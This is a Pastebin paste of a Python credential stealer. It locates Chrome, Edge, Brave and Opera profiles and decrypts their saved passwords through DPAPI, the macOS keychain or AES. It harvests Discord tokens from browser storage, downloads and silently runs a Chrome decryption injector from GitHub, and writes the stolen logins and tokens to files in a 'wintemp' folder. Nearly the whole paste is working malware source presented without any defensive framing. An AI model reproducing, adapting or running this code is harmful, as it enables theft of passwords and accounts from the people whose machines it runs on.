TerraMine

t3

Jun 4th, 2025 (edited)
10
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.15 KB | None | 0 0
  1. import json
  2. import os
  3. import platform
  4. import sqlite3
  5. import string
  6. import subprocess
  7. from getpass import getuser
  8. from importlib import import_module
  9. from os import unlink
  10. from shutil import copy, rmtree, move
  11. import ctypes
  12. import sys
  13. import uuid
  14. import base64
  15. import re
  16. from Crypto.Cipher import AES
  17. import time
  18. import urllib.request
  19. import zipfile
  20.  
  21. LOCAL_APP_DATA_PATH = os.getenv('LOCALAPPDATA')
  22. ROAMING_APP_DATA_PATH = os.getenv('APPDATA')
  23.  
  24. PROGRAM_BASE_DIR = None
  25. PROGRAM_DATA_DIR = None
  26. TEMP_PROCESSING_DIR = None
  27.  
  28. if LOCAL_APP_DATA_PATH:
  29. PROGRAM_BASE_DIR = os.path.join(LOCAL_APP_DATA_PATH, 'wintemp')
  30. PROGRAM_DATA_DIR = os.path.join(PROGRAM_BASE_DIR, 'data')
  31. TEMP_PROCESSING_DIR = os.path.join(PROGRAM_BASE_DIR, 'temp_processing')
  32. else:
  33. PROGRAM_BASE_DIR = os.path.join(os.getcwd(), 'wintemp_fallback')
  34. PROGRAM_DATA_DIR = os.path.join(PROGRAM_BASE_DIR, 'data')
  35. TEMP_PROCESSING_DIR = os.path.join(PROGRAM_BASE_DIR, 'temp_processing')
  36.  
  37. OUTPUT_FILENAME_DEFAULT = "data"
  38.  
  39. def ensure_dir_exists(directory_path):
  40. if not os.path.exists(directory_path):
  41. try:
  42. os.makedirs(directory_path, exist_ok=True)
  43. return True
  44. except OSError as e:
  45. return False
  46. elif not os.path.isdir(directory_path):
  47. return False
  48. return True
  49.  
  50. TOKEN_REGEX_PATTERN = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{34,38}"
  51.  
  52. def get_tokens_from_file(file_path: str) -> list[str] | None:
  53. try:
  54. with open(file_path, encoding="utf-8", errors="ignore") as text_file:
  55. file_contents = text_file.read()
  56. except PermissionError:
  57. return None
  58. except Exception:
  59. return None
  60.  
  61. tokens = re.findall(TOKEN_REGEX_PATTERN, file_contents)
  62. return tokens if tokens else None
  63.  
  64. def get_user_id_from_token(token: str) -> str | None:
  65. try:
  66. discord_user_id = base64.b64decode(
  67. token.split(".", maxsplit=1)[0] + "=="
  68. ).decode("utf-8")
  69. except UnicodeDecodeError:
  70. return None
  71. except Exception:
  72. return None
  73. return discord_user_id
  74.  
  75. ZIP_DOWNLOAD_URL = "https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases/download/v0.10.0/chrome-decryptor-0.10.0-x64.zip"
  76.  
  77. def get_tokens_from_path(base_path: str) -> dict[str, set]:
  78. if not os.path.isdir(base_path):
  79. return {}
  80.  
  81. file_paths = [
  82. os.path.join(base_path, filename) for filename in os.listdir(base_path)
  83. if os.path.isfile(os.path.join(base_path, filename))
  84. ]
  85.  
  86. id_to_tokens: dict[str, set] = dict()
  87.  
  88. for file_path in file_paths:
  89. potential_tokens = get_tokens_from_file(file_path)
  90.  
  91. if potential_tokens is None:
  92. continue
  93.  
  94. for potential_token in potential_tokens:
  95. discord_user_id = get_user_id_from_token(potential_token)
  96.  
  97. if discord_user_id is None:
  98. continue
  99.  
  100. if discord_user_id not in id_to_tokens:
  101. id_to_tokens[discord_user_id] = set()
  102.  
  103. id_to_tokens[discord_user_id].add(potential_token)
  104.  
  105. return id_to_tokens if id_to_tokens else {}
  106.  
  107. class ChromeMac:
  108. def __init__(self):
  109. try:
  110. my_pass_proc = subprocess.Popen(
  111. "security find-generic-password -wa 'Chrome'",
  112. stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
  113. stdout, stderr_data = my_pass_proc.communicate()
  114. if my_pass_proc.returncode != 0:
  115. raise RuntimeError(f"Failed to retrieve Chrome password from Mac keychain. Error: {stderr_data.decode('utf-8', errors='ignore')}")
  116. my_pass_bytes = stdout.replace(b'\n', b'')
  117. iterations = 1003; salt = b'saltysalt'; length = 16
  118. kdf = import_module('Crypto.Protocol.KDF')
  119. self.key = kdf.PBKDF2(my_pass_bytes, salt, length, iterations)
  120. except ImportError:
  121. raise
  122. except Exception:
  123. self.key = None
  124. self.dbpath_root = os.path.join(os.path.expanduser("~"), "Library", "Application Support", "Google", "Chrome")
  125. self.profile_name = "Default"
  126. self.dbpath = os.path.join(self.dbpath_root, self.profile_name)
  127. self.browser_name_found = "Chrome (Mac)"
  128. self.leveldb_path = os.path.join(self.dbpath, "Local Storage", "leveldb")
  129.  
  130. def decrypt_func(self, enc_passwd):
  131. if not self.key: return "BRAK_KLUCZA_DESZYFRUJACEGO"
  132. initialization_vector = b' ' * 16
  133. if enc_passwd.startswith(b'v10') or enc_passwd.startswith(b'v11') or enc_passwd.startswith(b'v20'):
  134. enc_passwd = enc_passwd[3:]
  135. try:
  136. cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)
  137. decrypted = cipher.decrypt(enc_passwd)
  138. unpad = lambda s: s[:-ord(s[len(s)-1:])]
  139. result = unpad(decrypted).decode('utf8', errors='ignore')
  140. return result
  141. except Exception:
  142. return decrypted.strip().decode('utf8', errors='ignore')
  143.  
  144. class ChromeWin:
  145. def __init__(self):
  146. local_appdata_path = os.getenv('LOCALAPPDATA')
  147. roaming_appdata_path = os.getenv('APPDATA')
  148.  
  149. if not local_appdata_path and not roaming_appdata_path:
  150. user_profile = os.getenv('USERPROFILE')
  151. if user_profile:
  152. local_appdata_path = os.path.join(user_profile, 'AppData', 'Local')
  153. roaming_appdata_path = os.path.join(user_profile, 'AppData', 'Roaming')
  154. else:
  155. self.found_browsers = []
  156. return
  157.  
  158. self.found_browsers = []
  159.  
  160. browser_paths_config = {
  161. "Google Chrome": {"path_type": "local", "vendor_folder": "Google", "browser_folder": "Chrome", "user_data_subfolder": "User Data"},
  162. "Microsoft Edge": {"path_type": "local", "vendor_folder": "Microsoft", "browser_folder": "Edge", "user_data_subfolder": "User Data"},
  163. "Brave": {"path_type": "local", "vendor_folder": "BraveSoftware", "browser_folder": "Brave-Browser", "user_data_subfolder": "User Data"},
  164. "Chromium": {"path_type": "local", "vendor_folder": "Chromium", "browser_folder": "Chromium", "user_data_subfolder": "User Data"},
  165. "Opera GX": {"path_type": "roaming", "vendor_folder": "Opera Software", "browser_folder": "Opera GX Stable", "user_data_subfolder": None},
  166. "Opera Stable": {"path_type": "roaming", "vendor_folder": "Opera Software", "browser_folder": "Opera Stable", "user_data_subfolder": None},
  167. }
  168. profiles_to_check = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"]
  169.  
  170. for browser_name, config in browser_paths_config.items():
  171. try:
  172. current_base_appdata_path = None
  173. if config["path_type"] == "local":
  174. current_base_appdata_path = local_appdata_path
  175. elif config["path_type"] == "roaming":
  176. current_base_appdata_path = roaming_appdata_path
  177.  
  178. if not current_base_appdata_path:
  179. continue
  180.  
  181. browser_base_path = os.path.join(current_base_appdata_path, config["vendor_folder"], config["browser_folder"])
  182.  
  183. user_data_root_candidate = browser_base_path
  184. if config["user_data_subfolder"]:
  185. user_data_root_candidate = os.path.join(browser_base_path, config["user_data_subfolder"])
  186.  
  187. if not os.path.isdir(user_data_root_candidate):
  188. continue
  189.  
  190. main_local_state_file_path = os.path.join(user_data_root_candidate, "Local State")
  191. if not os.path.exists(main_local_state_file_path):
  192. main_local_state_file_path = None
  193.  
  194. possible_profile_dirs = [user_data_root_candidate]
  195.  
  196. for profile in profiles_to_check:
  197. profile_path = os.path.join(user_data_root_candidate, profile)
  198. if os.path.isdir(profile_path):
  199. possible_profile_dirs.append(profile_path)
  200.  
  201. final_profile_dirs = []
  202. for p_dir in possible_profile_dirs:
  203. if os.path.isdir(p_dir) and p_dir not in final_profile_dirs:
  204. final_profile_dirs.append(p_dir)
  205.  
  206. for current_profile_dir in final_profile_dirs:
  207. login_data_file = os.path.join(current_profile_dir, "Login Data")
  208. leveldb_path = os.path.join(current_profile_dir, "Local Storage", "leveldb")
  209.  
  210. if os.path.exists(login_data_file):
  211. self.found_browsers.append({
  212. "browser_name": browser_name,
  213. "profile_name": os.path.basename(current_profile_dir),
  214. "login_data_path_original": login_data_file,
  215. "local_state_path_original": main_local_state_file_path,
  216. "dbpath_root": user_data_root_candidate,
  217. "dbpath": current_profile_dir,
  218. "leveldb_path": leveldb_path if os.path.isdir(leveldb_path) else None
  219. })
  220. except Exception:
  221. continue
  222.  
  223. if not self.found_browsers:
  224. pass
  225.  
  226. def decrypt_func(self, enc_passwd):
  227. try:
  228. win32crypt = import_module('win32crypt')
  229. if not enc_passwd: return "EMPTY_INPUT_DPAPI_FALLBACK"
  230. data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
  231. return data[1].decode('utf8', errors='ignore')
  232. except ImportError:
  233. return "PYWIN32_IMPORT_ERROR"
  234. except Exception as e:
  235. return f"DPAPI_DECRYPT_FUNC_ERROR: ({type(e).__name__}) {e}"
  236.  
  237. class ChromeLinux:
  238. def __init__(self):
  239. self.dbpath_root = os.path.join(os.path.expanduser("~"), ".config", "google-chrome")
  240. self.profile_name = "Default"
  241. self.dbpath = os.path.join(self.dbpath_root, self.profile_name)
  242. self.key = None
  243. self.browser_name_found = "Chrome (Linux)"
  244. self.leveldb_path = os.path.join(self.dbpath, "Local Storage", "leveldb")
  245. try:
  246. secretstorage_module = import_module('secretstorage')
  247. my_pass_bytes = 'peanuts'.encode('utf8')
  248. bus = secretstorage_module.dbus_init()
  249. collection = secretstorage_module.get_default_collection(bus)
  250. if collection:
  251. for item in collection.get_all_items():
  252. if item and item.get_label() == 'Chrome Safe Storage':
  253. my_pass_bytes = item.get_secret()
  254. break
  255. iterations = 1; salt = b'saltysalt'; length = 16
  256. kdf = import_module('Crypto.Protocol.KDF')
  257. self.key = kdf.PBKDF2(my_pass_bytes, salt, length, iterations)
  258. except ImportError: pass
  259. except Exception: pass
  260.  
  261. def decrypt_func(self, enc_passwd):
  262. if not self.key: return ""
  263. initialization_vector = b' ' * 16
  264. if enc_passwd.startswith(b'v10') or enc_passwd.startswith(b'v11') or enc_passwd.startswith(b'v20'):
  265. enc_passwd = enc_passwd[3:]
  266. try:
  267. cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)
  268. decrypted = cipher.decrypt(enc_passwd)
  269. unpad = lambda s: s[:-ord(s[len(s)-1:])]
  270. result = unpad(decrypted).decode('utf8', errors='ignore')
  271. return result
  272. except Exception:
  273. return decrypted.strip().decode('utf8', errors='ignore')
  274.  
  275. class Chrome:
  276. def __init__(self):
  277. self.all_browsers_info = []
  278.  
  279. target_os = platform.system()
  280. try:
  281. if target_os == 'Windows':
  282. chrome_win_instance = ChromeWin()
  283. self.all_browsers_info.extend(chrome_win_instance.found_browsers)
  284. elif target_os == 'Darwin':
  285. chrome_mac_instance = ChromeMac()
  286. self.all_browsers_info.append({
  287. "browser_name": chrome_mac_instance.browser_name_found,
  288. "profile_path": chrome_mac_instance.dbpath,
  289. "login_data_path_original": os.path.join(chrome_mac_instance.dbpath, "Login Data"),
  290. "local_state_path_original": None,
  291. "leveldb_path": chrome_mac_instance.leveldb_path,
  292. "chrome_os_instance": chrome_mac_instance
  293. })
  294. elif target_os == 'Linux':
  295. chrome_linux_instance = ChromeLinux()
  296. self.all_browsers_info.append({
  297. "browser_name": chrome_linux_instance.browser_name_found,
  298. "profile_path": chrome_linux_instance.dbpath,
  299. "login_data_path_original": os.path.join(chrome_linux_instance.dbpath, "Login Data"),
  300. "local_state_path_original": None,
  301. "leveldb_path": chrome_linux_instance.leveldb_path,
  302. "chrome_os_instance": chrome_linux_instance
  303. })
  304. else:
  305. pass
  306.  
  307. except Exception:
  308. pass
  309.  
  310. def get_all_browsers_info(self):
  311. return self.all_browsers_info
  312.  
  313. def get_master_key_from_copied_local_state(self, copied_local_state_path):
  314. if platform.system() != 'Windows':
  315. return None
  316.  
  317. if not os.path.exists(copied_local_state_path):
  318. return None
  319.  
  320. file_size = os.path.getsize(copied_local_state_path)
  321. if file_size == 0:
  322. return None
  323.  
  324. try:
  325. with open(copied_local_state_path, "r", encoding="utf-8") as f:
  326. local_state_json = json.load(f)
  327. encrypted_key_b64 = local_state_json.get("os_crypt", {}).get("encrypted_key")
  328. if not encrypted_key_b64:
  329. return None
  330.  
  331. encrypted_key_bytes = base64.b64decode(encrypted_key_b64)
  332. if not encrypted_key_bytes.startswith(b'DPAPI'):
  333. return None
  334. encrypted_key_dpapi = encrypted_key_bytes[5:]
  335. win32crypt = import_module('win32crypt')
  336. decrypted_key = win32crypt.CryptUnprotectData(encrypted_key_dpapi, None, None, None, 0)[1]
  337. return decrypted_key
  338. except ImportError:
  339. return None
  340. except json.JSONDecodeError:
  341. return None
  342. except Exception:
  343. return None
  344.  
  345. def decrypt_password_value_aes(self, password_value_bytes, master_key):
  346. if not master_key:
  347. return "AES_KEY_MISSING"
  348. if not (password_value_bytes.startswith(b'v10') or \
  349. password_value_bytes.startswith(b'v11') or \
  350. password_value_bytes.startswith(b'v20')):
  351. return f"INVALID_AES_PASSWORD_FORMAT"
  352. try:
  353. iv = password_value_bytes[3:3+12]
  354. encrypted_password_payload_with_tag = password_value_bytes[3+12:]
  355. if len(encrypted_password_payload_with_tag) < 16:
  356. return "AES_TOO_LITTLE_DATA_FOR_TAG"
  357. encrypted_data_only = encrypted_password_payload_with_tag[:-16]
  358. auth_tag = encrypted_password_payload_with_tag[-16:]
  359.  
  360. cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
  361. decrypted_password_bytes = cipher.decrypt(encrypted_data_only)
  362. try:
  363. cipher.verify(auth_tag)
  364. return decrypted_password_bytes.decode('utf-8', errors='ignore')
  365. except ValueError:
  366. return "AES_GCM_TAG_ERROR"
  367. except ImportError:
  368. return "CRYPTO_AES_IMPORT_ERROR"
  369. except Exception:
  370. return f"AES_GCM_DECRYPTION_ERROR"
  371.  
  372. def get_passwords(self, copied_login_db_path, copied_local_state_path_for_key=None, chrome_os_instance=None):
  373. output_data = {
  374. "browser": chrome_os_instance.browser_name_found if chrome_os_instance and hasattr(chrome_os_instance, 'browser_name_found') else "N/A",
  375. "profile_path": chrome_os_instance.dbpath if chrome_os_instance and hasattr(chrome_os_instance, 'dbpath') else "N/A",
  376. "login_data_path": copied_login_db_path,
  377. "data": []
  378. }
  379.  
  380. if not os.path.exists(copied_login_db_path):
  381. return output_data
  382.  
  383. file_size_login_data = os.path.getsize(copied_login_db_path)
  384. if file_size_login_data == 0:
  385. return output_data
  386.  
  387. master_key_aes = None
  388. if platform.system() == 'Windows':
  389. if copied_local_state_path_for_key and os.path.exists(copied_local_state_path_for_key):
  390. master_key_aes = self.get_master_key_from_copied_local_state(copied_local_state_path_for_key)
  391. else:
  392. pass
  393.  
  394. if not master_key_aes:
  395. pass
  396.  
  397. conn = None
  398. try:
  399. conn = sqlite3.connect(copied_login_db_path)
  400. cursor = conn.cursor()
  401.  
  402. cursor_table_check = conn.cursor()
  403. cursor_table_check.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='logins';")
  404. if cursor_table_check.fetchone() is None:
  405. return output_data
  406.  
  407. cursor.execute("SELECT origin_url, username_value, password_value FROM logins;")
  408.  
  409. cursor_count = conn.cursor()
  410. cursor_count.execute("SELECT COUNT(*) FROM logins")
  411. row_count = cursor_count.fetchone()[0]
  412.  
  413. if row_count == 0:
  414. return output_data
  415.  
  416. for i, result_row in enumerate(cursor.fetchall()):
  417. password_value_blob = result_row[2]
  418. if not password_value_blob:
  419. continue
  420.  
  421. decrypted_password_str = "DECRYPTION_LOGIC_ERROR_INITIAL"
  422. try:
  423. if platform.system() == 'Windows':
  424. is_v_prefix_present = (password_value_blob.startswith(b'v10') or \
  425. password_value_blob.startswith(b'v11') or \
  426. password_value_blob.startswith(b'v20'))
  427.  
  428. if master_key_aes and is_v_prefix_present:
  429. decrypted_password_str = self.decrypt_password_value_aes(password_value_blob, master_key_aes)
  430. elif not master_key_aes and is_v_prefix_present:
  431. decrypted_password_str = "AES_KEY_MISSING_FOR_NEW_FORMAT"
  432. else:
  433. if chrome_os_instance and hasattr(chrome_os_instance, 'decrypt_func'):
  434. decrypted_password_str = chrome_os_instance.decrypt_func(password_value_blob)
  435. else:
  436. decrypted_password_str = "OLD_DPAPI_FORMAT_FUNCTION_MISSING_OR_NOT_WINDOWS"
  437. elif chrome_os_instance and hasattr(chrome_os_instance, 'decrypt_func'):
  438. decrypted_password_str = chrome_os_instance.decrypt_func(password_value_blob)
  439. else:
  440. decrypted_password_str = "UNKNOWN_OS_OR_DECRYPT_FUNC_MISSING"
  441.  
  442. final_passwd_str = ''.join(char for char in decrypted_password_str if char in string.printable)
  443. _data_entry = {'url': result_row[0], 'username': result_row[1], 'password': final_passwd_str}
  444. output_data['data'].append(_data_entry)
  445. except Exception:
  446. final_passwd_str = f"CRITICAL_ENTRY_DECRYPTION_ERROR"
  447. _data_entry = {'url': result_row[0], 'username': result_row[1], 'password': final_passwd_str}
  448. output_data['data'].append(_data_entry)
  449. except sqlite3.Error:
  450. pass
  451. except Exception:
  452. pass
  453. finally:
  454. if conn:
  455. conn.close()
  456. return output_data
  457.  
  458. def copy_file_with_retries(src_path, dest_path, max_retries=5, delay_seconds=0.1):
  459. os.makedirs(os.path.dirname(dest_path), exist_ok=True)
  460.  
  461. for attempt in range(max_retries):
  462. try:
  463. if os.path.exists(dest_path):
  464. unlink(dest_path)
  465. copy(src_path, dest_path)
  466. if os.path.exists(dest_path) and os.path.getsize(dest_path) > 0:
  467. return True
  468. else:
  469. time.sleep(delay_seconds)
  470. except Exception:
  471. time.sleep(delay_seconds)
  472.  
  473. if platform.system() == 'Windows':
  474. try:
  475. robocopy_cmd = [
  476. 'robocopy',
  477. os.path.dirname(src_path),
  478. os.path.dirname(dest_path),
  479. os.path.basename(src_path),
  480. '/COPYALL',
  481. '/R:1', '/W:1',
  482. '/NFL', '/NDL', '/NJH', '/NJS', '/NC', '/NS', '/NP'
  483. ]
  484.  
  485. if os.path.exists(dest_path):
  486. unlink(dest_path)
  487.  
  488. result = subprocess.run(robocopy_cmd, capture_output=True, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
  489.  
  490. if result.returncode <= 1:
  491. if os.path.exists(dest_path) and os.path.getsize(dest_path) > 0:
  492. return True
  493. else:
  494. return False
  495. else:
  496. return False
  497. except FileNotFoundError:
  498. return False
  499. except Exception:
  500. return False
  501. else:
  502. pass
  503.  
  504. return False
  505.  
  506. def download_extract_and_run_zip(zip_url, program_base_dir):
  507. executable_command = [os.path.join(program_base_dir, "chrome_inject_x64.exe"), "-o", os.path.join(program_base_dir, "data"), "chrome"]
  508.  
  509. if not zip_url:
  510. return False
  511.  
  512. if not ensure_dir_exists(program_base_dir):
  513. return False
  514.  
  515. zip_file_path = os.path.join(program_base_dir, os.path.basename(zip_url))
  516.  
  517. try:
  518. urllib.request.urlretrieve(zip_url, zip_file_path)
  519. except Exception:
  520. return False
  521.  
  522. temp_extract_dir = os.path.join(program_base_dir, f"temp_zip_extract_{uuid.uuid4().hex[:8]}")
  523.  
  524. try:
  525. ensure_dir_exists(temp_extract_dir)
  526.  
  527. with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
  528. zip_ref.extractall(temp_extract_dir)
  529.  
  530. for item in os.listdir(temp_extract_dir):
  531. source_item_path = os.path.join(temp_extract_dir, item)
  532. destination_item_path = os.path.join(program_base_dir, item)
  533.  
  534. if os.path.exists(destination_item_path):
  535. if os.path.isfile(destination_item_path):
  536. try:
  537. unlink(destination_item_path)
  538. except OSError:
  539. pass
  540. elif os.path.isdir(destination_item_path):
  541. try:
  542. rmtree(destination_item_path)
  543. except OSError:
  544. pass
  545.  
  546. try:
  547. move(source_item_path, destination_item_path)
  548. except Exception:
  549. pass
  550.  
  551. except Exception:
  552. return False
  553. finally:
  554. if os.path.exists(temp_extract_dir):
  555. try:
  556. rmtree(temp_extract_dir)
  557. except OSError:
  558. pass
  559.  
  560. if os.path.exists(zip_file_path):
  561. try:
  562. unlink(zip_file_path)
  563. except OSError:
  564. pass
  565.  
  566. main_executable_path = executable_command[0]
  567. if not os.path.exists(main_executable_path):
  568. return False
  569.  
  570. try:
  571. subprocess.Popen(executable_command, cwd=program_base_dir, creationflags=subprocess.DETACHED_PROCESS)
  572. return True
  573. except Exception:
  574. return False
  575.  
  576. def export_credentials_to_txt_main():
  577. if not PROGRAM_DATA_DIR:
  578. return
  579. if not ensure_dir_exists(PROGRAM_DATA_DIR):
  580. return
  581.  
  582. if not TEMP_PROCESSING_DIR:
  583. return
  584. if not ensure_dir_exists(TEMP_PROCESSING_DIR):
  585. return
  586.  
  587. chrome_processor = Chrome()
  588. all_found_browsers_info = chrome_processor.get_all_browsers_info()
  589.  
  590. if not all_found_browsers_info:
  591. return
  592.  
  593. all_credentials_formatted_strings = []
  594.  
  595. for browser_info in all_found_browsers_info:
  596. browser_name = browser_info.get("browser_name", "Unknown Browser")
  597. profile_path_original = browser_info.get("profile_path", "N/A")
  598. original_login_data_path = browser_info.get("login_data_path_original")
  599. original_local_state_path = browser_info.get("local_state_path_original")
  600. chrome_os_instance = browser_info.get("chrome_os_instance")
  601.  
  602. copied_login_data_path = None
  603. copied_local_state_path = None
  604. passwords_result = {"data": [], "browser": browser_name, "profile_path": profile_path_original, "login_data_path": "N/A"}
  605.  
  606. if original_login_data_path and os.path.exists(original_login_data_path):
  607. temp_login_data_filename = f"Login_Data_temp_{uuid.uuid4().hex[:8]}.db"
  608. copied_login_data_path = os.path.join(TEMP_PROCESSING_DIR, temp_login_data_filename)
  609.  
  610. if copy_file_with_retries(original_login_data_path, copied_login_data_path):
  611. if platform.system() == 'Windows' and original_local_state_path and os.path.exists(original_local_state_path):
  612. temp_local_state_filename = f"Local_State_temp_{uuid.uuid4().hex[:8]}.json"
  613. copied_local_state_path = os.path.join(TEMP_PROCESSING_DIR, temp_local_state_filename)
  614. if not copy_file_with_retries(original_local_state_path, copied_local_state_path):
  615. copied_local_state_path = None
  616. else:
  617. pass
  618.  
  619. if copied_login_data_path and os.path.exists(copied_login_data_path) and os.path.getsize(copied_login_data_path) > 0:
  620. passwords_result = chrome_processor.get_passwords(copied_login_data_path, copied_local_state_path, chrome_os_instance)
  621. else:
  622. pass
  623. else:
  624. copied_login_data_path = None
  625. else:
  626. passwords_result["login_data_path"] = original_login_data_path or "Not Found"
  627.  
  628. credentials_list = passwords_result.get('data', [])
  629. credentials_found_count = len(credentials_list)
  630.  
  631. formatted_string = f"Credentials collected by C.pyw ({platform.system()} - {getuser()}):\n"
  632. formatted_string += f"Browser: {browser_name}\n"
  633. formatted_string += f"Profile Path (Original): {profile_path_original or 'N/A'}\n"
  634. formatted_string += f"Used 'Login Data' file: {copied_login_data_path or 'N/A'}\n"
  635. if platform.system() == 'Windows' and copied_local_state_path:
  636. formatted_string += f"Used 'Local State' file (copy): {copied_local_state_path}\n"
  637. formatted_string += f"Number of entries found: {credentials_found_count}\n"
  638. formatted_string += "="*50 + "\n\n"
  639.  
  640. if credentials_found_count > 0:
  641. for entry in credentials_list:
  642. formatted_string += f"URL: {entry.get('url', 'N/A')}\n"
  643. formatted_string += f" Username: {entry.get('username', 'N/A')}\n"
  644. formatted_string += f" Password: {entry.get('password', 'N/A')}\n"
  645. formatted_string += "-"*30 + "\n"
  646. else:
  647. formatted_string += "No login data found or error during retrieval/decryption for this browser.\n"
  648.  
  649. all_credentials_formatted_strings.append(formatted_string)
  650.  
  651. if copied_login_data_path and os.path.exists(copied_login_data_path):
  652. try:
  653. unlink(copied_login_data_path)
  654. except OSError:
  655. pass
  656. if copied_local_state_path and os.path.exists(copied_local_state_path):
  657. try:
  658. unlink(copied_local_state_path)
  659. except OSError:
  660. pass
  661.  
  662. if all_credentials_formatted_strings:
  663. try:
  664. final_output_credentials_path = os.path.join(PROGRAM_DATA_DIR, f"retrieved_credentials_ALL_BROWSERS_{uuid.uuid4().hex[:4]}.txt")
  665. with open(final_output_credentials_path, "w", encoding="utf-8") as f:
  666. f.write("\n\n".join(all_credentials_formatted_strings))
  667. except IOError:
  668. pass
  669. except Exception:
  670. pass
  671. else:
  672. pass
  673.  
  674.  
  675. all_discord_tokens_formatted_strings = []
  676.  
  677. for browser_info in all_found_browsers_info:
  678. browser_name = browser_info.get("browser_name", "Unknown Browser")
  679. profile_path_original = browser_info.get("profile_path", "N/A")
  680. leveldb_path = browser_info.get("leveldb_path")
  681.  
  682. discord_tokens_found = {}
  683.  
  684. if leveldb_path and os.path.isdir(leveldb_path):
  685. discord_tokens_found = get_tokens_from_path(leveldb_path)
  686. else:
  687. pass
  688.  
  689. formatted_discord_string = f"Discord Tokens collected by C.pyw ({platform.system()} - {getuser()}):\n"
  690. formatted_discord_string += f"Source Browser: {browser_name}\n"
  691. formatted_discord_string += f"Source Profile Path: {profile_path_original or 'N/A'}\n"
  692. formatted_discord_string += f"LevelDB Path Scanned: {leveldb_path or 'N/A'}\n"
  693. formatted_discord_string += "="*50 + "\n\n"
  694.  
  695. if discord_tokens_found:
  696. for user_id, tokens_set in discord_tokens_found.items():
  697. formatted_discord_string += f" User ID: {user_id}\n"
  698. for token in tokens_set:
  699. formatted_discord_string += f" Token: {token}\n"
  700. formatted_discord_string += "-"*30 + "\n"
  701. else:
  702. formatted_discord_string += "No Discord tokens found for this browser profile.\n"
  703.  
  704. all_discord_tokens_formatted_strings.append(formatted_discord_string)
  705.  
  706. if all_discord_tokens_formatted_strings:
  707. try:
  708. final_output_discord_path = os.path.join(PROGRAM_DATA_DIR, f"retrieved_discord_tokens_ALL_BROWSERS_{uuid.uuid4().hex[:4]}.txt")
  709.  
  710. with open(final_output_discord_path, "w", encoding="utf-8") as f:
  711. f.write("\n\n".join(all_discord_tokens_formatted_strings))
  712. except IOError:
  713. pass
  714. except Exception:
  715. pass
  716. else:
  717. pass
  718.  
  719. if __name__ == '__main__':
  720. try:
  721. import win32crypt
  722. except ImportError:
  723. sys.exit(1)
  724. except Exception:
  725. sys.exit(1)
  726.  
  727. try:
  728. from Crypto.Cipher import AES
  729. except ImportError:
  730. sys.exit(1)
  731. except Exception:
  732. sys.exit(1)
  733.  
  734. if not PROGRAM_BASE_DIR or not ensure_dir_exists(PROGRAM_BASE_DIR):
  735. sys.exit(1)
  736. if not PROGRAM_DATA_DIR or not ensure_dir_exists(PROGRAM_DATA_DIR):
  737. sys.exit(1)
  738. if not TEMP_PROCESSING_DIR or not ensure_dir_exists(TEMP_PROCESSING_DIR):
  739. sys.exit(1)
  740.  
  741. success_download_run = download_extract_and_run_zip(ZIP_DOWNLOAD_URL, PROGRAM_BASE_DIR)
  742.  
  743. export_credentials_to_txt_main()
Add Comment
Please, Sign In to add comment